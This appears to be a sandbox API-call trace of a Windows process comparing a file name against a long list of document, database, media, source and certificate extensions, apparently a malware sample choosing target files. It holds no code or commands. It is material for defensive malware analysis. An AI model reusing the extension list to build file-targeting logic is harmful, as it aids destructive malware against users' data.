lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".accdc") returned 6 [0063.326] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".accde") returned 6 [0063.326] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".accdt") returned 6 [0063.326] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".accdw") returned 6 [0063.326] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0063.326] lstrlenW (lpString=".adb") returned 4 [0063.326] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".adp") returned 4 [0063.326] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".ai") returned 3 [0063.326] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0063.326] lstrlenW (lpString=".ai3") returned 4 [0063.326] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0063.326] lstrlenW (lpString=".ai4") returned 4 [0063.326] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".ai5") returned 4 [0063.327] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".ai6") returned 4 [0063.327] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".ai7") returned 4 [0063.327] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".ai8") returned 4 [0063.327] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".anim") returned 5 [0063.327] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0063.327] lstrlenW (lpString=".arw") returned 4 [0063.327] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".as") returned 3 [0063.327] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0063.327] lstrlenW (lpString=".asa") returned 4 [0063.327] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".asc") returned 4 [0063.327] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".ascx") returned 5 [0063.327] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0063.327] lstrlenW (lpString=".asm") returned 4 [0063.327] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".asmx") returned 5 [0063.327] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0063.327] lstrlenW (lpString=".asp") returned 4 [0063.327] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".aspx") returned 5 [0063.327] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0063.327] lstrlenW (lpString=".asr") returned 4 [0063.327] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".asx") returned 4 [0063.327] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".avi") returned 4 [0063.327] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".avs") returned 4 [0063.327] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0063.327] lstrlenW (lpString=".backup") returned 7 [0063.327] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0063.328] lstrlenW (lpString=".bak") returned 4 [0063.328] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".bay") returned 4 [0063.328] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".bd") returned 3 [0063.328] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0063.328] lstrlenW (lpString=".bin") returned 4 [0063.328] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".bmp") returned 4 [0063.328] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".bz2") returned 4 [0063.328] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".c") returned 2 [0063.328] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0063.328] lstrlenW (lpString=".cdr") returned 4 [0063.328] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".cer") returned 4 [0063.328] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".cf") returned 3 [0063.328] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0063.328] lstrlenW (lpString=".cfc") returned 4 [0063.328] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".cfm") returned 4 [0063.328] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".cfml") returned 5 [0063.328] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0063.328] lstrlenW (lpString=".cfu") returned 4 [0063.328] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".chm") returned 4 [0063.328] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".cin") returned 4 [0063.328] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0063.328] lstrlenW (lpString=".class") returned 6 [0063.328] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0063.328] lstrlenW (lpString=".clx") returned 4 [0063.328] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".config") returned 7 [0063.329] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0063.329] lstrlenW (lpString=".cpp") returned 4 [0063.329] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".cr2") returned 4 [0063.329] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".crt") returned 4 [0063.329] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".crw") returned 4 [0063.329] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".cs") returned 3 [0063.329] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0063.329] lstrlenW (lpString=".css") returned 4 [0063.329] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".csv") returned 4 [0063.329] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".cub") returned 4 [0063.329] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dae") returned 4 [0063.329] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dat") returned 4 [0063.329] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".db") returned 3 [0063.329] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0063.329] lstrlenW (lpString=".dbf") returned 4 [0063.329] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dbx") returned 4 [0063.329] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dc3") returned 4 [0063.329] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dcm") returned 4 [0063.329] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".dcr") returned 4 [0063.329] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0063.329] lstrlenW (lpString=".der") returned 4 [0063.329] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dib") returned 4 [0063.330] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dic") returned 4 [0063.330] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dif") returned 4 [0063.330] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".divx") returned 5 [0063.330] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".djvu") returned 5 [0063.330] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".dng") returned 4 [0063.330] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".doc") returned 4 [0063.330] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".docm") returned 5 [0063.330] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".docx") returned 5 [0063.330] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".dot") returned 4 [0063.330] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dotm") returned 5 [0063.330] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".dotx") returned 5 [0063.330] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0063.330] lstrlenW (lpString=".dpx") returned 4 [0063.330] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dqy") returned 4 [0063.330] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dsn") returned 4 [0063.330] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dt") returned 3 [0063.330] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0063.330] lstrlenW (lpString=".dtd") returned 4 [0063.330] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dwg") returned 4 [0063.330] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0063.330] lstrlenW (lpString=".dwt") returned 4 [0063.330] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".dx") returned 3 [0063.331] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0063.331] lstrlenW (lpString=".dxf") returned 4 [0063.331] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".edml") returned 5 [0063.331] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0063.331] lstrlenW (lpString=".efd") returned 4 [0063.331] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".elf") returned 4 [0063.331] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".emf") returned 4 [0063.331] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".emz") returned 4 [0063.331] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".epf") returned 4 [0063.331] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".eps") returned 4 [0063.331] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".epsf") returned 5 [0063.331] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0063.331] lstrlenW (lpString=".epsp") returned 5 [0063.331] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0063.331] lstrlenW (lpString=".erf") returned 4 [0063.331] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".exr") returned 4 [0063.331] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".f4v") returned 4 [0063.331] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".fido") returned 5 [0063.331] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0063.331] lstrlenW (lpString=".flm") returned 4 [0063.331] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".flv") returned 4 [0063.331] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".frm") returned 4 [0063.331] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0063.331] lstrlenW (lpString=".fxg") returned 4 [0063.331] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".geo") returned 4 [0063.332] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".gif") returned 4 [0063.332] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".grs") returned 4 [0063.332] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".gz") returned 3 [0063.332] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0063.332] lstrlenW (lpString=".h") returned 2 [0063.332] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0063.332] lstrlenW (lpString=".hdr") returned 4 [0063.332] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".hpp") returned 4 [0063.332] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".hta") returned 4 [0063.332] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".htc") returned 4 [0063.332] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".htm") returned 4 [0063.332] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".html") returned 5 [0063.332] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0063.332] lstrlenW (lpString=".icb") returned 4 [0063.332] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".ics") returned 4 [0063.332] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".iff") returned 4 [0063.332] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".inc") returned 4 [0063.332] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".indd") returned 5 [0063.332] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0063.332] lstrlenW (lpString=".ini") returned 4 [0063.332] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".iqy") returned 4 [0063.332] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0063.332] lstrlenW (lpString=".j2c") returned 4 [0063.332] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".j2k") returned 4 [0063.333] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".java") returned 5 [0063.333] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0063.333] lstrlenW (lpString=".jp2") returned 4 [0063.333] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".jpc") returned 4 [0063.333] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".jpe") returned 4 [0063.333] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".jpeg") returned 5 [0063.333] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0063.333] lstrlenW (lpString=".jpf") returned 4 [0063.333] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".jpg") returned 4 [0063.333] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".jpx") returned 4 [0063.333] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".js") returned 3 [0063.333] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0063.333] lstrlenW (lpString=".jsf") returned 4 [0063.333] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".json") returned 5 [0063.333] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0063.333] lstrlenW (lpString=".jsp") returned 4 [0063.333] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".kdc") returned 4 [0063.333] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".kmz") returned 4 [0063.333] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".kwm") returned 4 [0063.333] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".lasso") returned 6 [0063.333] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0063.333] lstrlenW (lpString=".lbi") returned 4 [0063.333] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0063.333] lstrlenW (lpString=".lgf") returned 4 [0063.334] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".lgp") returned 4 [0063.334] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".log") returned 4 [0063.334] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".m1v") returned 4 [0063.334] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".m4a") returned 4 [0063.334] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".m4v") returned 4 [0063.334] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".max") returned 4 [0063.334] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".md") returned 3 [0063.334] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0063.334] lstrlenW (lpString=".mda") returned 4 [0063.334] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mdb") returned 4 [0063.334] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mde") returned 4 [0063.334] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mdf") returned 4 [0063.334] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mdw") returned 4 [0063.334] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mef") returned 4 [0063.334] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mft") returned 4 [0063.334] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mfw") returned 4 [0063.334] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mht") returned 4 [0063.334] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mhtml") returned 6 [0063.334] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0063.334] lstrlenW (lpString=".mka") returned 4 [0063.334] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0063.334] lstrlenW (lpString=".mkidx") returned 6 [0063.335] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0063.335] lstrlenW (lpString=".mkv") returned 4 [0063.335] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mos") returned 4 [0063.335] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mov") returned 4 [0063.335] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mp3") returned 4 [0063.335] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mp4") returned 4 [0063.335] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mpeg") returned 5 [0063.335] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0063.335] lstrlenW (lpString=".mpg") returned 4 [0063.335] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mpv") returned 4 [0063.335] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mrw") returned 4 [0063.335] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".msg") returned 4 [0063.335] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".mxl") returned 4 [0063.335] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".myd") returned 4 [0063.335] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".myi") returned 4 [0063.335] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".nef") returned 4 [0063.335] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".nrw") returned 4 [0063.335] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".obj") returned 4 [0063.335] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".odb") returned 4 [0063.335] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0063.335] lstrlenW (lpString=".odc") returned 4 [0063.335] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".odm") returned 4 [0063.336] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".odp") returned 4 [0063.336] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".ods") returned 4 [0063.336] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".oft") returned 4 [0063.336] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".one") returned 4 [0063.336] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".onepkg") returned 7 [0063.336] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0063.336] lstrlenW (lpString=".onetoc2") returned 8 [0063.336] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0063.336] lstrlenW (lpString=".opt") returned 4 [0063.336] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".oqy") returned 4 [0063.336] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".orf") returned 4 [0063.336] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".p12") returned 4 [0063.336] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".p7b") returned 4 [0063.336] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".p7c") returned 4 [0063.336] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pam") returned 4 [0063.336] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pbm") returned 4 [0063.336] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pct") returned 4 [0063.336] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pcx") returned 4 [0063.336] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pdd") returned 4 [0063.336] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0063.336] lstrlenW (lpString=".pdf") returned 4 [0063.337] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.337] lstrlenW (lpString=".pdp") returned 4 [0063.337] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0063.337] lstrlenW (lpString=".pef") returned 4 [0063.337] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0063.337] lstrlenW (lpString=".pem") returned 4 [0063.337] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0063.676] lstrlenW (lpString=".pff") returned 4 [0063.676] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0063.676] lstrlenW (lpString=".pfm") returned 4 [0063.688] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0063.700] lstrlenW (lpString=".pfx") returned 4 [0063.700] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0063.700] lstrlenW (lpString=".pgm") returned 4 [0063.710] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0063.711] lstrlenW (lpString=".php") returned 4 [0063.711] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0063.711] lstrlenW (lpString=".php3") returned 5 [0063.711] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0063.711] lstrlenW (lpString=".php4") returned 5 [0063.711] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0063.711] lstrlenW (lpString=".php5") returned 5 [0063.711] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0063.711] lstrlenW (lpString=".phtml") returned 6 [0063.711] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0063.711] lstrlenW (lpString=".pict") returned 5 [0063.711] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0063.711] lstrlenW (lpString=".pl") returned 3 [0063.711] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0063.711] lstrlenW (lpString=".pls") returned 4 [0063.711] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0063.711] lstrlenW (lpString=".pm") returned 3 [0063.711] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0063.711] lstrlenW (lpString=".png") returned 4 [0063.711] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0063.711] lstrlenW (lpString=".pnm") returned 4 [0063.712] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0063.712] lstrlenW (lpString=".pot") returned 4 [0063.712] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0063.712] lstrlenW (lpString=".potm") returned 5 [0063.712] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0063.712] lstrlenW (lpString=".potx") returned 5 [0063.712] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0063.712] lstrlenW (lpString=".ppa") returned 4 [0063.712] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0063.712] lstrlenW (lpString=".ppam") returned 5 [0063.712] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0063.712] lstrlenW (lpString=".ppm") returned 4 [0063.712] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0063.712] lstrlenW (lpString=".pps") returned 4 [0063.712] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0063.712] lstrlenW (lpString=".ppsm") returned 5 [0063.712] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0063.712] lstrlenW (lpString=".ppt") returned 4 [0063.712] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".pptm") returned 5 [0063.713] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0063.713] lstrlenW (lpString=".pptx") returned 5 [0063.713] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0063.713] lstrlenW (lpString=".prn") returned 4 [0063.713] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0063.713] lstrlenW (lpString=".ps") returned 3 [0063.713] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned 